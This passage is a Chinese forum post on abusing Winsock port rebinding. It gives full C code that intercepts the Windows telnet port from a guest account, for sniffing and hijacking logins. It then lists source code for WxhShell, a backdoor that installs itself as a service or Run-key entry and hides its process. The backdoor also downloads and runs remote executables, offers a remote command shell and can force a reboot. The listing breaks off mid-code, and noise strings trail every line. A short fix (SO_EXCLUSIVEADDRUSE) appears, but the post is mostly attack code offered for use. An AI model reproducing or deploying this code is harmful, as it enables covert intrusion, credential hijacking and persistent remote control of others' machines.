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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -zm-|6[Wi  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  (=Lx9-u  
.Ax]SNZ+:A  
  saddr.sin_family = AF_INET; FCt %of#  
EHq?yj;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |s !7U  
W_]onq 6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \q|<\~A  
$)j f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b5%T)hn=  
=%crSuP  
  这意味着什么?意味着可以进行如下的攻击: 0{47TX*YX  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 KD..X~Me  
*b(nX,e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T$Rf  
c38ENf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  }}d,xI  
WSx0o}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  { =IAS}  
ekSSqj9";  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p}a0z?  
v==/tr)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e6'y S81  
;<K#h9#*7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |)YN"nqg  
z dUSmb  
  #include ff 2`4_ ,|  
  #include U;Q?Rh- W  
  #include Z2I2 [pA  
  #include    ! X<dN..  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?Lquf&`vP  
  int main() `mDCX  
  { 4Mv]z^  
  WORD wVersionRequested; hyC]{E  
  DWORD ret; iq`caoi  
  WSADATA wsaData; ks(BS k4  
  BOOL val; J4m2|HK  
  SOCKADDR_IN saddr; X:OUu;  
  SOCKADDR_IN scaddr; N?mQ50o~C  
  int err; }m.45n/  
  SOCKET s; GsNZr=;C  
  SOCKET sc; KyRcZ"  
  int caddsize; /qPhptV  
  HANDLE mt; ^qNr<Ye  
  DWORD tid;   *skmTioj&  
  wVersionRequested = MAKEWORD( 2, 2 ); E Ks4N4k  
  err = WSAStartup( wVersionRequested, &wsaData ); M:.0]'[s5  
  if ( err != 0 ) { t``q_!s}F  
  printf("error!WSAStartup failed!\n"); *~jTE;J  
  return -1; ,uCgC4EP  
  } O g!SFg*  
  saddr.sin_family = AF_INET;  M_f.e!?  
   N9BfjT}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DYW&6+%,hO  
]R]%c*tA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); oYrg;]H  
  saddr.sin_port = htons(23); 1C<@QrT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '"]U+aIg  
  { (Ujry =f  
  printf("error!socket failed!\n"); 7) Qq  
  return -1; PI$K+}E  
  } ->a |  
  val = TRUE; eDS,}Z'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1HBXD\!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C;XhnqWv+l  
  { $VUX?ii$7=  
  printf("error!setsockopt failed!\n"); %.  W56  
  return -1; +Z=DvKsTJ  
  } yuq2)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )PjU=@$lI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .CBb%onx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s7 3'h  
em?Q4t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jF0>w  m  
  { c4(og|ifk  
  ret=GetLastError(); ow K)]t  
  printf("error!bind failed!\n"); `-w;/A"MJ  
  return -1; CsiRM8  
  } H[U"eS."  
  listen(s,2); NWII?X#T}  
  while(1) L_R(K89w  
  { o'|B|oZ  
  caddsize = sizeof(scaddr); DN;3VT.-  
  //接受连接请求 z?'z{+HY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "g&hsp+i"A  
  if(sc!=INVALID_SOCKET) i^"!"&tW#  
  { Nh"U~zlh  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I)q"M]~  
  if(mt==NULL) m,PiuR>  
  { WXe]Q bg  
  printf("Thread Creat Failed!\n"); Mk!bmFZOZ  
  break; &ZI-#(P  
  } zAH6SaI$  
  } |?4NlB6  
  CloseHandle(mt); "WzD+<oL  
  } -nDY3$U/  
  closesocket(s); p|Nh:4iN  
  WSACleanup(); @k-iy-|3 )  
  return 0; !:M+7kmr7t  
  }   KLgg([  
  DWORD WINAPI ClientThread(LPVOID lpParam) yVgHu#?PM  
  { (W+aeB0  
  SOCKET ss = (SOCKET)lpParam; kt7x}F(?<  
  SOCKET sc; lYhC2f m_  
  unsigned char buf[4096]; ZhY03>X  
  SOCKADDR_IN saddr; > - U+o.o  
  long num; {fS~G2@1  
  DWORD val; |X;|=.  
  DWORD ret; y'm5Z-@o6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8\Hz FB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b!`{fwV  
  saddr.sin_family = AF_INET; Cm;M; ?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /n1L},67h  
  saddr.sin_port = htons(23); Q+ZZwqyxD  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hd@jm^k  
  { 3a}53? $  
  printf("error!socket failed!\n"); CI^s~M >  
  return -1; 8~ u/gM  
  } f-Zi!AGh>  
  val = 100; %#C9E kr  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K>G.HN@  
  { h`f$]_c  
  ret = GetLastError(); x.Tulo0/  
  return -1; y'(a:.%I  
  } V E?Aa  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "w3%BbIx  
  { ]EqwDw4  
  ret = GetLastError(); ji.T7wn1u  
  return -1; ;2[),k  
  } o2!wz8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6o4Y]C2W{1  
  { JJy.)-R  
  printf("error!socket connect failed!\n"); `\J,%J  
  closesocket(sc); P~s u]+  
  closesocket(ss); 8 &3KVd`  
  return -1; {%c&T S@s  
  } -quJX;~  
  while(1) 06]"{2  
  { m~-O}i~)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1@n'6!]6O  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vQ,<Ke+d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5&qBG@Hw]  
  num = recv(ss,buf,4096,0); KkCsQ~po  
  if(num>0) wlgR = l  
  send(sc,buf,num,0); D!&]jkUN  
  else if(num==0) F ESl#.}  
  break; Uo;a$sR  
  num = recv(sc,buf,4096,0); r+;k(HMY}[  
  if(num>0) h.q9p!  
  send(ss,buf,num,0); NuW6~PV  
  else if(num==0) hR~&}sxN  
  break; ]A%~bQ7  
  } \}W !  
  closesocket(ss); Z"$iB-]  
  closesocket(sc); )YW"Zo8~!1  
  return 0 ; Wg,7k9I  
  } wsB  
.q1y)l-^Z  
%<fs \J^k  
========================================================== a(X V~o  
l+j !CvtI  
下边附上一个代码,,WXhSHELL ,0{x-S0jX<  
{.ypZ8JU  
========================================================== (__$YQ-  
{vdY(  
#include "stdafx.h" \>x1#Vr>#V  
aJ}hlM>  
#include <stdio.h> Iw?*y.z|  
#include <string.h> Q]e]\J  
#include <windows.h> @km4qJZ  
#include <winsock2.h> 2_}oOt?qiM  
#include <winsvc.h> LXaq  
#include <urlmon.h> @saK:z  
@WNqD*)1  
#pragma comment (lib, "Ws2_32.lib") ~tn$AtK  
#pragma comment (lib, "urlmon.lib") 5p6/dlN-a  
f3S 8~!  
#define MAX_USER   100 // 最大客户端连接数 ubRhJ~XB  
#define BUF_SOCK   200 // sock buffer 7M8cF>o  
#define KEY_BUFF   255 // 输入 buffer NY|hE@{2.  
cbl>:ev1h  
#define REBOOT     0   // 重启 _D$1CaAYo  
#define SHUTDOWN   1   // 关机 "Mz#1Laby`  
xT(0-o*  
#define DEF_PORT   5000 // 监听端口 e+)y6Q=  
rgDl%X2B  
#define REG_LEN     16   // 注册表键长度 %J Jp/I  
#define SVC_LEN     80   // NT服务名长度 wY ??#pS  
uQ|LkL%< ^  
// 从dll定义API LH.Gf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m#[9F']Z`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #+i:s92],  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RA?_j$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bR,Es~n  
oY0*2~sg  
// wxhshell配置信息 t2Jf+t_B7  
struct WSCFG { c91^7@Xv  
  int ws_port;         // 监听端口 %|D) U>o{  
  char ws_passstr[REG_LEN]; // 口令 Zu2`IzrG#  
  int ws_autoins;       // 安装标记, 1=yes 0=no JY@bD:  
  char ws_regname[REG_LEN]; // 注册表键名 MV2$0  
  char ws_svcname[REG_LEN]; // 服务名 \Zh&[D!2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ay|jq "a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <B>hvuCoH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w}#3 pU<<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UBJYs{zz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Nu3gkIz5z-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?XP4kjJ  
D+BiclJ  
}; -%| ] d ;  
;Yv{)@'Bc  
// default Wxhshell configuration P j,H]  
struct WSCFG wscfg={DEF_PORT, y5F"JjQAa  
    "xuhuanlingzhe", Hpa6; eT  
    1, w,up`W7,  
    "Wxhshell", H\H7a.@nkF  
    "Wxhshell", bRrS d:e  
            "WxhShell Service", Uk*(C(  
    "Wrsky Windows CmdShell Service", v_Df+  
    "Please Input Your Password: ", Z=Cw7E  
  1, `Tf}h8*  
  "http://www.wrsky.com/wxhshell.exe", ` &bF@$((  
  "Wxhshell.exe" d3 i(UN]  
    }; :y`LF <  
\F-n}Z  
// 消息定义模块 ,|A6l?iV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?@Q0;LG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <T;V9(66  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *C0a,G4  
char *msg_ws_ext="\n\rExit."; ID`Ot{ y  
char *msg_ws_end="\n\rQuit."; lJN#_V0qW  
char *msg_ws_boot="\n\rReboot..."; (F 9P1Iq  
char *msg_ws_poff="\n\rShutdown..."; rsa_)iBC  
char *msg_ws_down="\n\rSave to "; U;IGV~oT  
MgJ5FRQ  
char *msg_ws_err="\n\rErr!"; Ook\CK*nKe  
char *msg_ws_ok="\n\rOK!"; F(zCvT   
ju3@F8AI  
char ExeFile[MAX_PATH]; o5 ~VT!'[  
int nUser = 0; Ph%ylS/T{  
HANDLE handles[MAX_USER]; {[`(o 0@(  
int OsIsNt; I'^XEl?   
!.^x^OK%y  
SERVICE_STATUS       serviceStatus; \y%"tJ~N{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9C2pGfEbn}  
EpKZ.lCU  
// 函数声明 "U"fsAc#  
int Install(void); 0^\H$An*k  
int Uninstall(void); S.Kcb=;"L  
int DownloadFile(char *sURL, SOCKET wsh); j,;f#+O`g  
int Boot(int flag); J%|;  
void HideProc(void); )/JVp>  
int GetOsVer(void); ] Ok &%-  
int Wxhshell(SOCKET wsl); /4OQx0Xmm  
void TalkWithClient(void *cs); }!k?.(hpE  
int CmdShell(SOCKET sock); 9H;Os:"\|  
int StartFromService(void); *3E3,c8{A  
int StartWxhshell(LPSTR lpCmdLine); [W{|94q  
X Db%-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R.2i%cU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n0gjcDHQ  
H^5,];  
// 数据结构和表定义 lP)n$?u  
SERVICE_TABLE_ENTRY DispatchTable[] = k{lo'  
{ w'A*EWO  
{wscfg.ws_svcname, NTServiceMain}, >yLDU_P)  
{NULL, NULL} rir,|y,  
}; =OtW!vx#R.  
d*e8P ep  
// 自我安装 ;di .U,  
int Install(void) <9"@<[[,  
{ t( V 2  
  char svExeFile[MAX_PATH]; #<B?+gzFM{  
  HKEY key; H.]V-|U  
  strcpy(svExeFile,ExeFile); T^vo9~N*  
wBg?-ji3<  
// 如果是win9x系统,修改注册表设为自启动 {d'B._#i  
if(!OsIsNt) { h lc!}{$%8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TCzlu#w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x 9\{a  
  RegCloseKey(key); [ ^\{>m7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k$m'ebrS.~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); COm^ ti-p  
  RegCloseKey(key); ~,};FI  
  return 0; 1|-C(UW>  
    } 3I)oqS@q'  
  } ujE~#b}X  
} YfZ5Q}*1O+  
else { A{B$$7%  
42hG }Gt  
// 如果是NT以上系统,安装为系统服务 S1)g\Lv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZVJ6 {DS/  
if (schSCManager!=0) S{bp'9]$y  
{ 3AR'Zvn  
  SC_HANDLE schService = CreateService ' Kkp!eZQ~  
  ( I]5){Q" S  
  schSCManager, h(}#s1Fzq  
  wscfg.ws_svcname, <_pLmYI  
  wscfg.ws_svcdisp, @XL49D12c  
  SERVICE_ALL_ACCESS, zA$ Y@f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *L>usLh  
  SERVICE_AUTO_START, z;@<J8I  
  SERVICE_ERROR_NORMAL, s0vcGh#w  
  svExeFile, Lw^%<.DM+t  
  NULL, QD^=;!  
  NULL, rfQs 7S;G  
  NULL, g0a!auWM  
  NULL, s nxwe  
  NULL v,N!cp1  
  ); NcwUK\  
  if (schService!=0) "30=!k  
  { [:e>FXV  
  CloseServiceHandle(schService); y6sY?uu  
  CloseServiceHandle(schSCManager); w^HI lA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bOrE86v:  
  strcat(svExeFile,wscfg.ws_svcname); yGWl8\,j0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rO#$SW$YW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JUDZ_cGr  
  RegCloseKey(key); y,Bj,zw  
  return 0; 9"1=um=  
    } gMq;  
  } ,g?M[(wtc  
  CloseServiceHandle(schSCManager); I|Hcs.uW  
} d/*EuJYin<  
} {[NQD3=+F  
)PU\|I0|)e  
return 1; s/E9$*0  
} 6rG7/  
U:MZN[Cc[  
// 自我卸载 Ue,eEer  
int Uninstall(void) 23p.g5hJi  
{ e*( _Cvxp  
  HKEY key; =yqg,w&Q  
jamai8  
if(!OsIsNt) { rc%*g3ryLG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u|EJ)dT?  
  RegDeleteValue(key,wscfg.ws_regname); 4U)%JK.ta  
  RegCloseKey(key); $1)NYsSH/H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sqmjf@o$>  
  RegDeleteValue(key,wscfg.ws_regname); /Z#AHfKF  
  RegCloseKey(key); 93w$ck},?G  
  return 0; O f-gG~  
  } C`3fM05g  
} -ECnX/ "  
} 98<^!mwF  
else { WwSyw?T  
@.`HvS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hdM?Uoo(4a  
if (schSCManager!=0) G8^b9xoA+.  
{ Pj8Vl)8~NV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ! c~3`7v  
  if (schService!=0) Z,XivU&  
  { flBJO.2  
  if(DeleteService(schService)!=0) { #^i+'Z=L  
  CloseServiceHandle(schService); cx)x="c  
  CloseServiceHandle(schSCManager); +'` ^ N  
  return 0; {=R vFA  
  } OQuTM[W  
  CloseServiceHandle(schService); zn*i  
  } T[0CD'|E  
  CloseServiceHandle(schSCManager); "6?Y$y/wm  
} rHjR 4q  
} T z+Y_  
.J5or  
return 1; 4HXNu,T'  
} [vdC$9z,  
=E~SaT  
// 从指定url下载文件 %-!:$ 1;  
int DownloadFile(char *sURL, SOCKET wsh) /h&>tYVio  
{ ZhoB/TgdL  
  HRESULT hr; wYHyVY2tj2  
char seps[]= "/"; )GC[xo4bg  
char *token; tjm@+xs  
char *file; FW<YN;  
char myURL[MAX_PATH]; Gh'{O/F4*  
char myFILE[MAX_PATH]; :J5CmU $  
wLQM]$O  
strcpy(myURL,sURL); (%M:=zm  
  token=strtok(myURL,seps); 9 &Od7Cn  
  while(token!=NULL) /dVcNo3"  
  { D%'rq  
    file=token; #M[Cq= 2  
  token=strtok(NULL,seps); *K=me/ 3  
  } R*O6Z"h  
T5 BoOVgO  
GetCurrentDirectory(MAX_PATH,myFILE); VK4"  
strcat(myFILE, "\\"); W?12'EG}xa  
strcat(myFILE, file); JlH5 <:#PN  
  send(wsh,myFILE,strlen(myFILE),0); OPKmYzf@b  
send(wsh,"...",3,0); {+QQ<)l^tJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jRjQDK_"ka  
  if(hr==S_OK) Rmh,P>  
return 0; GlXzH1wZ  
else U3c!*i  
return 1; yucbEDO.  
SY2((!n._  
} R&}{_1dj8  
Z:MU5(Te  
// 系统电源模块 =(5}0}j  
int Boot(int flag) QV%eTA  
{ zhwajc  
  HANDLE hToken; j7Lw( AJ  
  TOKEN_PRIVILEGES tkp; TUO#6  
Zxv{qbF  
  if(OsIsNt) { FEg&EYI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s8kkf5bu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z*:.maq  
    tkp.PrivilegeCount = 1; Bk1gE((  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %5bN@XD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HmEU;UbO-  
if(flag==REBOOT) { |<7nf75c}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zhde1JE  
  return 0; 4\8k~ #  
} -Ar 3>d  
else { K<Y-/t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7R om#Kl:  
  return 0;  _$4vk  
} /E6 Tt  
  } DfP vi1  
  else { + f?xVW<h  
if(flag==REBOOT) { gMZ?MG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4,R1}.?BzJ  
  return 0; 7Y'.yn  
} V|dKKb[Lve  
else { D&&11Iz&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %OsV(7  
  return 0; BhJ~jV"  
} <^jW  
} o#&;,9  
FY]z*=  
return 1; 30/(  
} %(wa~:m+S-  
qdVExO&  
// win9x进程隐藏模块 L~(`zO3f  
void HideProc(void) )u'("  
{ &+t,fwlM  
>@d=\Kyu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *gzX=*;x+?  
  if ( hKernel != NULL ) 7":0CU% %  
  { 7J2i /m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c=HL 6v<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f_Q_qckB%x  
    FreeLibrary(hKernel); WAcQRa~C  
  } MA:8g D  
Z$5@r2d)  
return; 9Q%Fel.  
} Tp/+{|~  
)zVD!eG_9  
// 获取操作系统版本 5 gbJTh<JU  
int GetOsVer(void) n.Q?@\}2  
{ #| Et9  
  OSVERSIONINFO winfo; w_i$/`i+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6*2z^P9FRj  
  GetVersionEx(&winfo); -xf=dzm)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v ~%6!Tr  
  return 1; kST  
  else R:v`\  
  return 0; 1)M>vdrP  
} yeNC-U<  
5ff66CRw  
// 客户端句柄模块 # 1,(I  
int Wxhshell(SOCKET wsl) a4! AvG  
{ EkqsE$52  
  SOCKET wsh; &sQtS  
  struct sockaddr_in client; `W[oLQ  
  DWORD myID; ]7^YPFc+  
ef!V EtEOv  
  while(nUser<MAX_USER) BY$%gIB6>  
{ ,Tyh._sa  
  int nSize=sizeof(client); ~Hs a6F&F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~z!U/QR2  
  if(wsh==INVALID_SOCKET) return 1; N LC}XL  
E$rn^keM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rf8`|9h"7  
if(handles[nUser]==0) "sRR:wzQu  
  closesocket(wsh); .yF7{/  
else #.%;U' #O  
  nUser++; PZ;O pp  
  } MqI!i>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7Q.?] k&  
T;}pMRd%  
  return 0; |S:St HZm  
} 0BIH.ZV#  
kf$0}T`  
// 关闭 socket *, o)`  
void CloseIt(SOCKET wsh) M(S:&GOU  
{ ]#[ R^t  
closesocket(wsh); 6?ylSQ]1  
nUser--; OY6l t.t  
ExitThread(0); *Oo2rk nQ  
} cX553&  
b07 MTDFH7  
// 客户端请求句柄 Y] nY.5irL  
void TalkWithClient(void *cs) e2%Y8ZJG.  
{ 4>>d "<}C  
 >kK  
  SOCKET wsh=(SOCKET)cs; ?+b )=Z  
  char pwd[SVC_LEN]; g(MeCoCc  
  char cmd[KEY_BUFF]; 6P!M+PO  
char chr[1]; mg*[,_3q33  
int i,j; z.pP~he  
\ey3i((L  
  while (nUser < MAX_USER) { t*^Q`V wQ  
+B%ZB9  
if(wscfg.ws_passstr) { nYMdYt04sl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^'C1VQ%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ; eq^m,oz  
  //ZeroMemory(pwd,KEY_BUFF); )}7rM6hv  
      i=0; >e"CpbZ'  
  while(i<SVC_LEN) { (J~n|hA2/D  
i}+K;,Da:8  
  // 设置超时 h{kAsd8 G  
  fd_set FdRead; Je+z\eT!5<  
  struct timeval TimeOut; !5Kv9P79  
  FD_ZERO(&FdRead); c ++tk4  
  FD_SET(wsh,&FdRead); .QzHHW4&0  
  TimeOut.tv_sec=8; *9((b;Ju  
  TimeOut.tv_usec=0; Yyby 1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W[: n*h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {KE858  
3j(GcR 9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z6b!,lp  
  pwd=chr[0]; N%:QaCZKw  
  if(chr[0]==0xd || chr[0]==0xa) { U*=ebZno  
  pwd=0; 9=~"^dp54%  
  break; Y_)!U`>N?  
  } /N7j5v(  
  i++; *K'(t  
    } `$7j:<c=  
O!kBp(?]  
  // 如果是非法用户,关闭 socket vWcU+GBZI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ; 7[5%xM  
} `TOm.YZG  
@%fNB,H`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gyJ$ Jp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <MI>>$seiJ  
\L(~50{(  
while(1) { pog*}@ OS  
KE`}P<K&  
  ZeroMemory(cmd,KEY_BUFF); ]4yWcnf  
_JiB=<Fkr  
      // 自动支持客户端 telnet标准   'q8T*|/  
  j=0; <l(LQmM;  
  while(j<KEY_BUFF) { 1p<m>s=D=e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hdp;/Qz&  
  cmd[j]=chr[0]; S.aSNH<  
  if(chr[0]==0xa || chr[0]==0xd) { 3@*J=LGhKc  
  cmd[j]=0; ^i2W=A'P  
  break; tpO%)*  
  } J84Q|E  
  j++; %%}U -*b  
    } %vDN{%h8  
aRdzXq#x  
  // 下载文件 f+j\,LJ  
  if(strstr(cmd,"http://")) { &aqF ||v%)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D|@*HX@_Xp  
  if(DownloadFile(cmd,wsh)) )'KkO$^&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \m~ ?mg"#  
  else 61HU_!A8S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iF?4G^  
  } M3c-/7  
  else { h.E8G^}@  
/\V-1 7-  
    switch(cmd[0]) { ;tP-#Xf  
  $+!/=8R)  
  // 帮助 SZW`|ajH  
  case '?': { B>WAlmPA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +1~Y2   
    break; z;JyHC)  
  } UmcPpZ  
  // 安装 '.r_6X$7Jt  
  case 'i': { <spVUp  
    if(Install()) A'HFpsa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L}pMjyM  
    else d`q<!qFZh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `h}fS4CO  
    break; 9q5jqFQ  
    } X]d;x/2  
  // 卸载 )HQ':ZE$  
  case 'r': { L\)ssO uh  
    if(Uninstall()) )-%3;e<w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9&}$C]`  
    else 9AO`Zk{/Ez  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &#^^UT(nj  
    break; /]zn8 d  
    } S<H 2e{~  
  // 显示 wxhshell 所在路径 ^pruQp1X  
  case 'p': { jT>G8}h  
    char svExeFile[MAX_PATH]; #$2 {l,>  
    strcpy(svExeFile,"\n\r"); n]^zIe^6  
      strcat(svExeFile,ExeFile); ul$k xc=N  
        send(wsh,svExeFile,strlen(svExeFile),0); e` 9d&"  
    break; +e}v) N  
    } 7yM=$"'d  
  // 重启 ~(OG3`W!  
  case 'b': { CT,PQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yl4XgjG  
    if(Boot(REBOOT)) Is1P,`*!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^)oBa=jL4  
    else { viB'ul7o  
    closesocket(wsh); i x2V?\  
    ExitThread(0); `Y>'*4a\  
    } *:S_v.Y3"  
    break; $p:RnH\H1  
    } vy&'A$ H  
  // 关机 X5@+M!`  
